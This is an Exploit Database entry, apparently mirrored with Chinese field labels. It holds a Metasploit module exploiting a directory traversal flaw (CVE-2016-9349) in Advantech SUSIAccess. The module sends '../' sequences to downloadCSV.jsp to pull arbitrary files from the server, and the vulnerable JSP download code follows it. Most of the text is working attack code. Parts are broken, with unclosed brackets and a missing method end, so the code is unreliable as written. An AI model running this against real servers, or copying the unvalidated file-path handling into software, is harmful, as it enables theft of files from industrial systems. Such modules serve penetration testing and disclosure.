Advantech SUSIAccess < 3.0 - Directory Traversal / Information Disclosure (Metasploit)

Exploit Database
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作者： James Fitts

日期： 2017-08-01
类别：
- webapps
平台：
- jsp
来源：https://www.exploit-db.com/exploits/42401/

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require 'msf/core'

class MetasploitModule < Msf::Auxiliary

Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',

'Description'=> %q{

This module exploits an information disclosure vulnerability found in

Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when

sending a GET request to the server with a series of dot dot slashes (../)

in the file parameter.

'Author' => [ 'james fitts' ],

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2016-9349' ],

[ 'ZDI', '16-628' ],

[ 'BID', '94629' ],

[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]

'DisclosureDate' => 'Dec 13 2016'))

register_options(

[

OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),

OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),

Opt::RPORT(8080)

], self.class )

end

def run

depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']

levels = "/" + ("../" * depth)

file = "#{levels}#{datastore['FILE']}"

file = file.gsub(/ /, "%20")

res = send_request_raw({

'method' => 'GET',

'uri' => "/downloadCSV.jsp?file=#{file}",

})

if res and res.code == 200

loot = res.body

if not loot or loot.empty?

print_status("File from #{rhost}:#{rport} is empty...")

return

end

file = ::File.basename(datastore['FILE'])

path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])

print_status("Stored #{datastore['FILE']} to #{path}")

return

else

print_error("Something went wrong... Application returned a #{res.code}")

end

__END__

<%@ page import="java.util.*,java.io.*" %>

File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );

//set the content type(can be excel/word/powerpoint etc..)

response.setContentType ("application/csv");

//set the header and also the Name by which user will be prompted to save

response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");

//get the file name

String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());

//OPen an input stream to the file and post the file contents thru the

//servlet output stream to the client m/c

InputStream in = new FileInputStream(f);

ServletOutputStream outs = response.getOutputStream();

int bit = 256;

int i = 0;

try {

while ((bit) >= 0) {

bit = in.read();

outs.write(bit);

}

//System.out.println("" +bit);

} catch (IOException ioe) {

ioe.printStackTrace(System.out);

}

//System.out.println( "n" + i + " bytes sent.");

//System.out.println( "n" + f.length() + " bytes sent.");

outs.flush();

outs.close();

in.close();